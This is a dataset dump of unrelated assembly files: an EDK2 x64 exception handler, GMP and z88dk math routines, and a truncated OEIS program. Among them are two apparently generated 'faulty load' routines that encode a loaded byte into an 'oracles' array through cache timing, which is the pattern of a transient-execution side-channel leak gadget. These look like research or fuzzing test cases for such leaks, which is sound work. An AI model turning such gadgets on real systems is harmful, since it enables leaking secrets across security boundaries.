text
stringlengths
1
1.05M
;------------------------------------------------------------------------------ ; ; Copyright (c) 2012 - 2022, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; Module Name: ; ; ExceptionHandlerAsm.Asm ; ; Abstract: ; ; x64 CPU Exception Handler ; ; Notes: ; ;------------------------------------------------------------------------------ ; ; CommonExceptionHandler() ; %define VC_EXCEPTION 29 extern ASM_PFX(mErrorCodeFlag) ; Error code flags for exceptions extern ASM_PFX(mDoFarReturnFlag) ; Do far return flag extern ASM_PFX(CommonExceptionHandler) SECTION .data DEFAULT REL SECTION .text ALIGN 8 AsmIdtVectorBegin: %assign Vector 0 %rep 32 push byte %[Vector] push rax mov rax, ASM_PFX(CommonInterruptEntry) jmp rax %assign Vector Vector+1 %endrep AsmIdtVectorEnd: HookAfterStubHeaderBegin: db 0x6a ; push @VectorNum: db 0 ; 0 will be fixed push rax mov rax, HookAfterStubHeaderEnd jmp rax HookAfterStubHeaderEnd: mov rax, rsp and sp, 0xfff0 ; make sure 16-byte aligned for exception context sub rsp, 0x18 ; reserve room for filling exception data later push rcx mov rcx, [rax + 8] bt [ASM_PFX(mErrorCodeFlag)], ecx jnc .0 push qword [rsp] ; push additional rcx to make stack alignment .0: xchg rcx, [rsp] ; restore rcx, save Exception Number in stack push qword [rax] ; push rax into stack to keep code consistence ;---------------------------------------; ; CommonInterruptEntry ; ;---------------------------------------; ; The follow algorithm is used for the common interrupt routine. ; Entry from each interrupt with a push eax and eax=interrupt number ; Stack frame would be as follows as specified in IA32 manuals: ; ; +---------------------+ <-- 16-byte aligned ensured by processor ; + Old SS + ; +---------------------+ ; + Old RSP + ; +---------------------+ ; + RFlags + ; +---------------------+ ; + CS + ; +---------------------+ ; + RIP + ; +---------------------+ ; + Error Code + ; +---------------------+ ; + Vector Number + ; +---------------------+ ; + RBP + ; +---------------------+ <-- RBP, 16-byte aligned ; The follow algorithm is used for the common interrupt routine. global ASM_PFX(CommonInterruptEntry) ASM_PFX(CommonInterruptEntry): cli pop rax ; ; All interrupt handlers are invoked through interrupt gates, so ; IF flag automatically cleared at the entry point ; xchg rcx, [rsp] ; Save rcx into stack and save vector number into rcx and rcx, 0xFF cmp ecx, 32 ; Intel reserved vector for exceptions? jae NoErrorCode bt [ASM_PFX(mErrorCodeFlag)], ecx jc HasErrorCode NoErrorCode: ; ; Push a dummy error code on the stack ; to maintain coherent stack map ; push qword [rsp] mov qword [rsp + 8], 0 HasErrorCode: push rbp mov rbp, rsp push 0 ; clear EXCEPTION_HANDLER_CONTEXT.OldIdtHandler push 0 ; clear EXCEPTION_HANDLER_CONTEXT.ExceptionDataFlag ; ; Stack: ; +---------------------+ <-- 16-byte aligned ensured by processor ; + Old SS + ; +---------------------+ ; + Old RSP + ; +---------------------+ ; + RFlags + ; +---------------------+ ; + CS + ; +---------------------+ ; + RIP + ; +---------------------+ ; + Error Code + ; +---------------------+ ; + RCX / Vector Number + ; +---------------------+ ; + RBP + ; +---------------------+ <-- RBP, 16-byte aligned ; ; ; Since here the stack pointer is 16-byte aligned, so ; EFI_FX_SAVE_STATE_X64 of EFI_SYSTEM_CONTEXT_x64 ; is 16-byte aligned ; ;; UINT64 Rdi, Rsi, Rbp, Rsp, Rbx, Rdx, Rcx, Rax; ;; UINT64 R8, R9, R10, R11, R12, R13, R14, R15; push r15 push r14 push r13 push r12 push r11 push r10 push r9 push r8 push rax push qword [rbp + 8] ; RCX push rdx push rbx push qword [rbp + 48] ; RSP push qword [rbp] ; RBP push rsi push rdi ;; UINT64 Gs, Fs, Es, Ds, Cs, Ss; insure high 16 bits of each is zero movzx rax, word [rbp + 56] push rax ; for ss movzx rax, word [rbp + 32] push rax ; for cs mov rax, ds push rax mov rax, es push rax mov rax, fs push rax mov rax, gs push rax mov [rbp + 8], rcx ; save vector number ;; UINT64 Rip; push qword [rbp + 24] ;; UINT64 Gdtr[2], Idtr[2]; xor rax, rax push rax push rax sidt [rsp] mov bx, word [rsp] mov rax, qword [rsp + 2] mov qword [rsp], rax mov word [rsp + 8], bx xor rax, rax push rax push rax sgdt [rsp] mov bx, word [rsp] mov rax, qword [rsp + 2] mov qword [rsp], rax mov word [rsp + 8], bx ;; UINT64 Ldtr, Tr; xor rax, rax str ax push rax sldt ax push rax ;; UINT64 RFlags; push qword [rbp + 40] ;; UINT64 Cr0, Cr1, Cr2, Cr3, Cr4, Cr8; mov rax, cr8 push rax mov rax, cr4 or rax, 0x208 mov cr4, rax push rax mov rax, cr3 push rax mov rax, cr2 push rax xor rax, rax push rax mov rax, cr0 push rax ;; UINT64 Dr0, Dr1, Dr2, Dr3, Dr6, Dr7; cmp qword [rbp + 8], VC_EXCEPTION je VcDebugRegs ; For SEV-ES (#VC) Debug registers ignored mov rax, dr7 push rax mov rax, dr6 push rax mov rax, dr3 push rax mov rax, dr2 push rax mov rax, dr1 push rax mov rax, dr0 push rax jmp DrFinish VcDebugRegs: ;; UINT64 Dr0, Dr1, Dr2, Dr3, Dr6, Dr7 are skipped for #VC to avoid exception recursion xor rax, rax push rax push rax push rax push rax push rax push rax DrFinish: ;; FX_SAVE_STATE_X64 FxSaveState; sub rsp, 512 mov rdi, rsp fxsave [rdi] ;; UEFI calling convention for x64 requires that Direction flag in EFLAGs is clear cld ;; UINT32 ExceptionData; push qword [rbp + 16] ;; Prepare parameter and call mov rcx, [rbp + 8] mov rdx, rsp ; ; Per X64 calling convention, allocate maximum parameter stack space ; and make sure RSP is 16-byte aligned ; sub rsp, 4 * 8 + 8 mov rax, ASM_PFX(CommonExceptionHandler) call rax add rsp, 4 * 8 + 8 cli ;; UINT64 ExceptionData; add rsp, 8 ;; FX_SAVE_STATE_X64 FxSaveState; mov rsi, rsp fxrstor [rsi] add rsp, 512 ;; UINT64 Dr0, Dr1, Dr2, Dr3, Dr6, Dr7; ;; Skip restoration of DRx registers to support in-circuit emualators ;; or debuggers set breakpoint in interrupt/exception context add rsp, 8 * 6 ;; UINT64 Cr0, Cr1, Cr2, Cr3, Cr4, Cr8; pop rax mov cr0, rax add rsp, 8 ; not for Cr1 pop rax mov cr2, rax pop rax mov cr3, rax pop rax mov cr4, rax pop rax mov cr8, rax ;; UINT64 RFlags; pop qword [rbp + 40] ;; UINT64 Ldtr, Tr; ;; UINT64 Gdtr[2], Idtr[2]; ;; Best not let anyone mess with these particular registers... add rsp, 48 ;; UINT64 Rip; pop qword [rbp + 24] ;; UINT64 Gs, Fs, Es, Ds, Cs, Ss; pop rax ; mov gs, rax ; not for gs pop rax ; mov fs, rax ; not for fs ; (X64 will not use fs and gs, so we do not restore it) pop rax mov es, rax pop rax mov ds, rax pop qword [rbp + 32] ; for cs pop qword [rbp + 56] ; for ss ;; UINT64 Rdi, Rsi, Rbp, Rsp, Rbx, Rdx, Rcx, Rax; ;; UINT64 R8, R9, R10, R11, R12, R13, R14, R15; pop rdi pop rsi add rsp, 8 ; not for rbp pop qword [rbp + 48] ; for rsp pop rbx pop rdx pop rcx pop rax pop r8 pop r9 pop r10 pop r11 pop r12 pop r13 pop r14 pop r15 mov rsp, rbp pop rbp add rsp, 16 cmp qword [rsp - 32], 0 ; check EXCEPTION_HANDLER_CONTEXT.OldIdtHandler jz DoReturn cmp qword [rsp - 40], 1 ; check EXCEPTION_HANDLER_CONTEXT.ExceptionDataFlag jz ErrorCode jmp qword [rsp - 32] ErrorCode: sub rsp, 8 jmp qword [rsp - 24] DoReturn: cmp qword [ASM_PFX(mDoFarReturnFlag)], 0 ; Check if need to do far return instead of IRET jz DoIret push rax mov rax, rsp ; save old RSP to rax mov rsp, [rsp + 0x20] push qword [rax + 0x10] ; save CS in new location push qword [rax + 0x8] ; save EIP in new location push qword [rax + 0x18] ; save EFLAGS in new location mov rax, [rax] ; restore rax popfq ; restore EFLAGS retfq DoIret: iretq ;------------------------------------------------------------------------------------- ; GetTemplateAddressMap (&AddressMap); ;------------------------------------------------------------------------------------- ; comments here for definition of address map global ASM_PFX(AsmGetTemplateAddressMap) ASM_PFX(AsmGetTemplateAddressMap): mov rax, AsmIdtVectorBegin mov qword [rcx], rax mov qword [rcx + 0x8], (AsmIdtVectorEnd - AsmIdtVectorBegin) / 32 mov rax, HookAfterStubHeaderBegin mov qword [rcx + 0x10], rax ret ;------------------------------------------------------------------------------------- ; AsmVectorNumFixup (*NewVectorAddr, VectorNum, *OldVectorAddr); ;------------------------------------------------------------------------------------- global ASM_PFX(AsmVectorNumFixup) ASM_PFX(AsmVectorNumFixup): mov rax, rdx mov [rcx + (@VectorNum - HookAfterStubHeaderBegin)], al ret
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r15 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1db3f, %r15 nop and $30047, %rdi mov (%r15), %rsi nop nop xor %r10, %r10 lea addresses_normal_ht+0xcaeb, %rsi lea addresses_normal_ht+0x1c93f, %rdi nop xor $42015, %r9 mov $51, %rcx rep movsl nop inc %rsi lea addresses_normal_ht+0x1913f, %r10 cmp $53778, %rcx mov $0x6162636465666768, %rsi movq %rsi, %xmm1 movups %xmm1, (%r10) nop nop add %r10, %r10 lea addresses_WC_ht+0x92df, %rcx cmp $54926, %r9 movb $0x61, (%rcx) nop nop nop nop sub $38116, %rdi lea addresses_WT_ht+0xf93f, %rcx nop nop and $23258, %r14 mov (%rcx), %r15 nop nop nop nop and %r14, %r14 lea addresses_normal_ht+0xfbbf, %rsi lea addresses_UC_ht+0x470c, %rdi clflush (%rsi) nop nop add $52777, %r8 mov $115, %rcx rep movsl nop nop nop nop nop sub %r15, %r15 lea addresses_WT_ht+0xf12f, %rdi and $40384, %r10 mov (%rdi), %cx nop nop nop add %rsi, %rsi lea addresses_WC_ht+0x9503, %r15 dec %rcx movl $0x61626364, (%r15) nop nop nop xor $64152, %rcx lea addresses_normal_ht+0x1113f, %rcx nop nop nop and %r10, %r10 movups (%rcx), %xmm5 vpextrq $1, %xmm5, %r9 nop nop nop nop nop sub $61123, %r8 lea addresses_A_ht+0x12c1b, %r14 nop dec %rsi movb $0x61, (%r14) nop nop cmp $20234, %r8 pop %rsi pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r15 push %rax push %rcx push %rdi push %rdx push %rsi // Load lea addresses_WT+0x7b45, %r15 nop nop nop nop nop cmp $48895, %r12 mov (%r15), %r11d nop nop nop nop add $54980, %rcx // Load lea addresses_UC+0x1d1dc, %rdx clflush (%rdx) nop nop cmp %rcx, %rcx mov (%rdx), %r12w nop nop nop lfence // Store lea addresses_PSE+0x19e3f, %r11 nop add $39522, %rax mov $0x5152535455565758, %r15 movq %r15, %xmm0 vmovups %ymm0, (%r11) nop nop nop nop sub $35123, %rax // Store lea addresses_WC+0x6b13, %r11 nop nop nop nop and %rdx, %rdx movw $0x5152, (%r11) cmp $52588, %rax // Store lea addresses_normal+0x1a49f, %r15 nop nop cmp %rdi, %rdi movb $0x51, (%r15) nop nop nop cmp $46240, %rdx // Store mov $0x2af, %rax nop nop nop add $22365, %r15 movw $0x5152, (%rax) nop nop nop inc %r11 // REPMOV lea addresses_US+0xd7bf, %rsi mov $0x35d34d0000000d3f, %rdi clflush (%rdi) nop nop nop nop nop mfence mov $24, %rcx rep movsw nop nop cmp $21608, %rdi // Load lea addresses_WC+0x1b668, %rsi nop nop nop cmp $59888, %rax movb (%rsi), %cl nop nop nop xor $13548, %rcx // Faulty Load lea addresses_RW+0x413f, %rax clflush (%rax) cmp %rdx, %rdx mov (%rax), %cx lea oracles, %rcx and $0xff, %rcx shlq $12, %rcx mov (%rcx,%rcx,1), %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r15 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': True, 'congruent': 1, 'size': 4, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': True, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_US', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_NC', 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}} {'ff': 1} ff */
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_WT_ht+0xc6b0, %rsi lea addresses_D_ht+0x1ccd0, %rdi nop nop inc %r13 mov $34, %rcx rep movsw nop nop sub %rbp, %rbp lea addresses_WC_ht+0x82d0, %r14 nop nop add %rax, %rax mov $0x6162636465666768, %rbp movq %rbp, %xmm7 vmovups %ymm7, (%r14) nop nop add $28697, %rdi lea addresses_normal_ht+0x12dc0, %r14 nop sub $11346, %rax movups (%r14), %xmm4 vpextrq $0, %xmm4, %rsi nop and %r13, %r13 lea addresses_UC_ht+0x15730, %rsi lea addresses_A_ht+0xa4d0, %rdi nop nop cmp %rax, %rax mov $66, %rcx rep movsw nop nop sub %rcx, %rcx lea addresses_A_ht+0x1a94, %rsi nop nop add $8151, %rdi mov $0x6162636465666768, %rax movq %rax, %xmm0 movups %xmm0, (%rsi) nop add $18420, %rax pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r8 push %rax push %rdi // Load lea addresses_PSE+0xabdc, %r14 nop nop nop nop add %r12, %r12 vmovups (%r14), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %r8 nop nop xor %r14, %r14 // Faulty Load lea addresses_PSE+0x64d0, %r8 nop inc %r13 vmovntdqa (%r8), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $1, %xmm7, %r12 lea oracles, %rdi and $0xff, %r12 shlq $12, %r12 mov (%rdi,%r12,1), %r12 pop %rdi pop %rax pop %r8 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_PSE', 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_PSE', 'congruent': 2}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_PSE', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 9}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 4}} {'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_UC_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 1}, 'OP': 'STOR'} {'08': 1, '44': 41, 'ff': 1, '49': 2142, '00': 19644} 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 49 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 49 00 00 00 00 00 00 00 49 00 49 00 00 00 00 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 49 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 49 00 00 00 49 00 49 00 00 00 49 00 49 00 00 00 00 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 49 49 00 00 00 00 00 49 49 00 00 00 00 00 00 00 00 00 00 49 00 49 00 49 00 49 00 00 00 00 00 49 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 49 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 49 00 49 00 00 00 00 00 00 00 49 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 49 00 49 00 49 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 49 00 00 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; float nan(const char *tagp) SECTION code_fp_math48 PUBLIC cm48_sdcciy_nan EXTERN cm48_sdcciy_nan_fastcall cm48_sdcciy_nan: pop af pop hl push hl push af jp cm48_sdcciy_nan_fastcall
dnl AMD64 mpn_mod_1s_2p dnl Contributed to the GNU project by Torbjorn Granlund. dnl Copyright 2009-2012, 2014 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C AMD K8,K9 4 C AMD K10 4 C Intel P4 19 C Intel core2 8 C Intel NHM 6.5 C Intel SBR 4.5 C Intel atom 28 C VIA nano 8 ABI_SUPPORT(DOS64) ABI_SUPPORT(STD64) ASM_START() TEXT ALIGN(16) PROLOGUE(mpn_mod_1s_2p) FUNC_ENTRY(4) push %r14 test $1, R8(%rsi) mov %rdx, %r14 push %r13 mov %rcx, %r13 push %r12 push %rbp push %rbx mov 16(%rcx), %r10 mov 24(%rcx), %rbx mov 32(%rcx), %rbp je L(b0) dec %rsi je L(one) mov -8(%rdi,%rsi,8), %rax mul %r10 mov %rax, %r9 mov %rdx, %r8 mov (%rdi,%rsi,8), %rax add -16(%rdi,%rsi,8), %r9 adc $0, %r8 mul %rbx add %rax, %r9 adc %rdx, %r8 jmp L(11) L(b0): mov -8(%rdi,%rsi,8), %r8 mov -16(%rdi,%rsi,8), %r9 L(11): sub $4, %rsi jb L(ed2) lea 40(%rdi,%rsi,8), %rdi mov -40(%rdi), %r11 mov -32(%rdi), %rax jmp L(m0) ALIGN(16) L(top): mov -24(%rdi), %r9 add %rax, %r11 mov -16(%rdi), %rax adc %rdx, %r12 mul %r10 add %rax, %r9 mov %r11, %rax mov %rdx, %r8 adc $0, %r8 mul %rbx add %rax, %r9 mov %r12, %rax adc %rdx, %r8 mul %rbp sub $2, %rsi jb L(ed1) mov -40(%rdi), %r11 add %rax, %r9 mov -32(%rdi), %rax adc %rdx, %r8 L(m0): mul %r10 add %rax, %r11 mov %r9, %rax mov %rdx, %r12 adc $0, %r12 mul %rbx add %rax, %r11 lea -32(%rdi), %rdi C ap -= 4 mov %r8, %rax adc %rdx, %r12 mul %rbp sub $2, %rsi jae L(top) L(ed0): mov %r11, %r9 mov %r12, %r8 L(ed1): add %rax, %r9 adc %rdx, %r8 L(ed2): mov 8(%r13), R32(%rdi) C cnt mov %r8, %rax mov %r9, %r8 mul %r10 add %rax, %r8 adc $0, %rdx L(1): xor R32(%rcx), R32(%rcx) mov %r8, %r9 sub R32(%rdi), R32(%rcx) shr R8(%rcx), %r9 mov R32(%rdi), R32(%rcx) sal R8(%rcx), %rdx or %rdx, %r9 sal R8(%rcx), %r8 mov %r9, %rax mulq (%r13) mov %rax, %rsi inc %r9 add %r8, %rsi adc %r9, %rdx imul %r14, %rdx sub %rdx, %r8 lea (%r8,%r14), %rax cmp %r8, %rsi cmovc %rax, %r8 mov %r8, %rax sub %r14, %rax cmovc %r8, %rax mov R32(%rdi), R32(%rcx) shr R8(%rcx), %rax pop %rbx pop %rbp pop %r12 pop %r13 pop %r14 FUNC_EXIT() ret L(one): mov (%rdi), %r8 mov 8(%rcx), R32(%rdi) xor %rdx, %rdx jmp L(1) EPILOGUE() ALIGN(16) PROLOGUE(mpn_mod_1s_2p_cps) FUNC_ENTRY(2) push %rbp bsr %rsi, %rcx push %rbx mov %rdi, %rbx push %r12 xor $63, R32(%rcx) mov %rsi, %r12 mov R32(%rcx), R32(%rbp) C preserve cnt over call sal R8(%rcx), %r12 C b << cnt IFSTD(` mov %r12, %rdi ') C pass parameter IFDOS(` mov %r12, %rcx ') C pass parameter ASSERT(nz, `test $15, %rsp') CALL( mpn_invert_limb) mov %r12, %r8 mov %rax, %r11 mov %rax, (%rbx) C store bi mov %rbp, 8(%rbx) C store cnt neg %r8 mov R32(%rbp), R32(%rcx) mov $1, R32(%rsi) ifdef(`SHLD_SLOW',` shl R8(%rcx), %rsi neg R32(%rcx) mov %rax, %rbp shr R8(%rcx), %rax or %rax, %rsi mov %rbp, %rax neg R32(%rcx) ',` shld R8(%rcx), %rax, %rsi C FIXME: Slow on Atom and Nano ') imul %r8, %rsi mul %rsi add %rsi, %rdx shr R8(%rcx), %rsi mov %rsi, 16(%rbx) C store B1modb not %rdx imul %r12, %rdx lea (%rdx,%r12), %rsi cmp %rdx, %rax cmovnc %rdx, %rsi mov %r11, %rax mul %rsi add %rsi, %rdx shr R8(%rcx), %rsi mov %rsi, 24(%rbx) C store B2modb not %rdx imul %r12, %rdx add %rdx, %r12 cmp %rdx, %rax cmovnc %rdx, %r12 shr R8(%rcx), %r12 mov %r12, 32(%rbx) C store B3modb pop %r12 pop %rbx pop %rbp FUNC_EXIT() ret EPILOGUE()
; A123650: a(n) = 1 + n^2 + n^3 + n^5. ; 4,45,280,1105,3276,8029,17200,33345,59860,101101,162504,250705,373660,540765,762976,1052929,1425060,1895725,2483320,3208401,4093804,5164765,6449040,7977025,9781876,11899629,14369320,17233105,20536380,24327901,28659904,33588225,39172420,45475885,52565976,60514129,69395980,79291485,90285040,102465601,115926804,130767085,147089800,165003345,184621276,206062429,229451040,254916865,282595300,312627501,345160504,380347345,418347180,459325405,503453776,550910529,601880500,656555245,715133160,777819601,844827004,916375005,992690560,1074008065,1160569476,1252624429,1350430360,1454252625,1564364620,1681047901,1804592304,1935296065,2073465940,2219417325,2373474376,2535970129,2707246620,2887655005,3077555680,3277318401,3487322404,3707956525,3939619320,4182719185,4437674476,4704913629,4984875280,5278008385,5584772340,5905637101,6241083304,6591602385,6957696700,7339879645,7738675776,8154620929,8588262340,9040158765,9510880600,10001010001,10511141004,11041879645,11593844080,12167664705,12763984276,13383458029,14026753800,14694552145,15387546460,16106443101,16851961504,17624834305,18425807460,19255640365,20115105976,21004990929,21926095660,22879234525,23865235920,24884942401,25939210804,27028912365,28154932840,29318172625,30519546876,31759985629,33040433920,34361851905,35725214980,37131513901,38581754904,40076959825,41618166220,43206427485,44842812976,46528408129,48264314580,50051650285,51891549640,53785163601,55733659804,57738222685,59800053600,61920370945,64100410276,66341424429,68644683640,71011475665,73443105900,75940897501,78506191504,81140346945,83844740980,86620769005,89469844776,92393400529,95392887100,98469774045,101625549760,104861721601,108179816004,111581378605,115067974360,118641187665,122302622476,126053902429,129896670960,133832591425,137863347220,141990641901,146216199304,150541763665,154969099740,159499992925,164136249376,168879696129,173732181220,178695573805,183771764280,188962664401,194270207404,199696348125,205243063120,210912350785,216706231476,222626747629,228675963880,234855967185,241168866940,247616795101,254201906304,260926377985,267792410500,274802227245,281958074776,289262222929,296716964940,304324617565,312087521200,320008040001,328088562004,336331499245,344739287880,353314388305,362059285276,370976488029,380068530400,389337970945,398787393060,408419405101,418236640504,428241757905,438437441260,448826399965,459411368976,470195108929,481180406260,492370073325,503766948520,515373896401,527193807804,539229599965,551484216640,563960628225,576661831876,589590851629,602750738520,616144570705,629775453580,643646519901,657760929904,672121871425,686732560020,701596239085,716716179976,732095682129,747738073180,763646709085,779824974240,796276281601,813004072804,830011818285,847303017400,864881198545,882749919276,900912766429,919373356240,938135334465,957202376500,976578187501 mov $1,4 mov $2,10 mov $5,$0 mov $6,$0 lpb $2 add $1,$5 sub $2,1 lpe mov $3,$6 lpb $3 sub $3,1 add $4,$5 lpe mov $2,14 mov $5,$4 lpb $2 add $1,$5 sub $2,1 